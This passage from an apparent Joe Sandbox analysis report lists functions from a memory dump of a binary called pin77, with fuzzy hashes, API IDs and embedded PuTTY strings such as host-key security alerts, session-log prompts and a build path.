                                                                                                                                                    • Instruction ID: cadafbfad53716c3bb13c8216d36d4a7d517dd9564c5e787ccf51dbb535c3e5d
                                                                                                                                                    • Opcode Fuzzy Hash: ab8a650fe660a1da3db66a5f2148a20cf2638c09d9d1ee1adec0a9134dda7755
                                                                                                                                                    • Instruction Fuzzy Hash: 7201D4B5910201AFD7176B24FC0BF7A3A68EB55744F440129F9451A2A3EE726814DBE3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002FB0F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • Unsupported protocol number found, xrefs: 002FB134
                                                                                                                                                    • %s Internal Error, xrefs: 002FB122
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Message
                                                                                                                                                    • String ID: %s Internal Error$Unsupported protocol number found
                                                                                                                                                    • API String ID: 2030045667-184558026
                                                                                                                                                    • Opcode ID: 7424ad515457dd8dcadb6058020ac3b920614757efa1b5c0bee354dc2940f762
                                                                                                                                                    • Instruction ID: 90076906f47ed1270547aeeacebf68218183ee87f81bd4fb5ebe85df670702c4
                                                                                                                                                    • Opcode Fuzzy Hash: 7424ad515457dd8dcadb6058020ac3b920614757efa1b5c0bee354dc2940f762
                                                                                                                                                    • Instruction Fuzzy Hash: 91E0E5B6D502147BE71337607C0BFA6350C5B24769F040031FF185C1E3E6A298608562
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030EAE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • The first %s supported by the serveris %s, which is below the configuredwarning threshold.Do you want to continue with this connection?, xrefs: 0030EAF0
                                                                                                                                                    • %s Security Alert, xrefs: 0030EB05
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Message
                                                                                                                                                    • String ID: %s Security Alert$The first %s supported by the serveris %s, which is below the configuredwarning threshold.Do you want to continue with this connection?
                                                                                                                                                    • API String ID: 2030045667-1123452757
                                                                                                                                                    • Opcode ID: 1b232bd20034be9b6e1b44c44ff270fddecb8bc8c77b0066e083e40e00ee965b
                                                                                                                                                    • Instruction ID: bea60b9170e7147b2b889202a8db3291a98afe112597c06fbb3f201d537d823b
                                                                                                                                                    • Opcode Fuzzy Hash: 1b232bd20034be9b6e1b44c44ff270fddecb8bc8c77b0066e083e40e00ee965b
                                                                                                                                                    • Instruction Fuzzy Hash: 3EF0BBB7A443106BD3023BB5BC4BF6B769CEB8875CF040434FA48DA241E567A5148762
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030EB60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • The first host key type we have stored for this serveris %s, which is below the configured warning threshold.The server also provides the following types of host keyabove the threshold, which we do not have stored:%sDo you want to continue with this conne, xrefs: 0030EB70
                                                                                                                                                    • %s Security Alert, xrefs: 0030EB85
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Message
                                                                                                                                                    • String ID: %s Security Alert$The first host key type we have stored for this serveris %s, which is below the configured warning threshold.The server also provides the following types of host keyabove the threshold, which we do not have stored:%sDo you want to continue with this conne
                                                                                                                                                    • API String ID: 2030045667-3125611854
                                                                                                                                                    • Opcode ID: c860bb2ed8a7f620e8c6c2d48c31eb37e023c5864c2c5ab2f5bffeac678b15ac
                                                                                                                                                    • Instruction ID: d1e7e7b5bd1e33f58c6e14b44b9f4cd84cc244c905ac46b77744e5ed33dfeac5
                                                                                                                                                    • Opcode Fuzzy Hash: c860bb2ed8a7f620e8c6c2d48c31eb37e023c5864c2c5ab2f5bffeac678b15ac
                                                                                                                                                    • Instruction Fuzzy Hash: C1F0BBB76043206BD3023BB5BC4BF6B769CEB88B6CF050434FA48DA241E5679914C762
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030ED50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • %s Log to File, xrefs: 0030ED73
                                                                                                                                                    • The session log file "%.*s" already exists.You can overwrite it with a new session log,append your session log to the end of it,or disable session logging for this session.Hit Yes to wipe the file, No to append to it,or Cancel to disable logging., xrefs: 0030ED5E
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Message
                                                                                                                                                    • String ID: %s Log to File$The session log file "%.*s" already exists.You can overwrite it with a new session log,append your session log to the end of it,or disable session logging for this session.Hit Yes to wipe the file, No to append to it,or Cancel to disable logging.
                                                                                                                                                    • API String ID: 2030045667-4035860868
                                                                                                                                                    • Opcode ID: f89c537b8bd04eec6019235bd862876b45a278d0f93330b83c8edcec05ef4d35
                                                                                                                                                    • Instruction ID: 2a3df5e5dd8582345fe257d179108a609d488f17fbbd1f54797f7d3aa14f0589
                                                                                                                                                    • Opcode Fuzzy Hash: f89c537b8bd04eec6019235bd862876b45a278d0f93330b83c8edcec05ef4d35
                                                                                                                                                    • Instruction Fuzzy Hash: 70F0A0F7B002203BE20337B17C8BEAE368CCF85B69F050035FA059A282F95699148663
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00356190 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • h->type == HT_INPUT, xrefs: 003561A4
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/handle-io.c, xrefs: 0035619F
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Event
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/handle-io.c$h->type == HT_INPUT
                                                                                                                                                    • API String ID: 4201588131-1190648860
                                                                                                                                                    • Opcode ID: c0f000a643f17a7bb36a567f74a24a7274e0bcd20d4569b51a2149b4b1b80ccd
                                                                                                                                                    • Instruction ID: aaeaa7ec2fdc00d7328a9b246bb5d3af9e398fa2ea8b7677a3fce77bd58954d0
                                                                                                                                                    • Opcode Fuzzy Hash: c0f000a643f17a7bb36a567f74a24a7274e0bcd20d4569b51a2149b4b1b80ccd
                                                                                                                                                    • Instruction Fuzzy Hash: E2E09230408B90AAEB334A15A80FBA2BBE06B10316F45096DEC85164F283B46ECCC742
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0037F210 Relevance: 5.0, APIs: 4, Instructions: 39COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: CloseFreeHandleLocal
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 836400252-0
                                                                                                                                                    • Opcode ID: 3e21e2bd45c529fbdc14701f0776c2e3be3361d290158663479d097ce327c2f9
                                                                                                                                                    • Instruction ID: dbfa1650a126f7d9e82cbc4b23e0842cb8a096eec1dd2f3f392c9a2bbe906607
                                                                                                                                                    • Opcode Fuzzy Hash: 3e21e2bd45c529fbdc14701f0776c2e3be3361d290158663479d097ce327c2f9
                                                                                                                                                    • Instruction Fuzzy Hash: 05F062FAA005429BDB23AF26FC4991AB368FF44314B0A0434F804D6211D722ED35C661
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%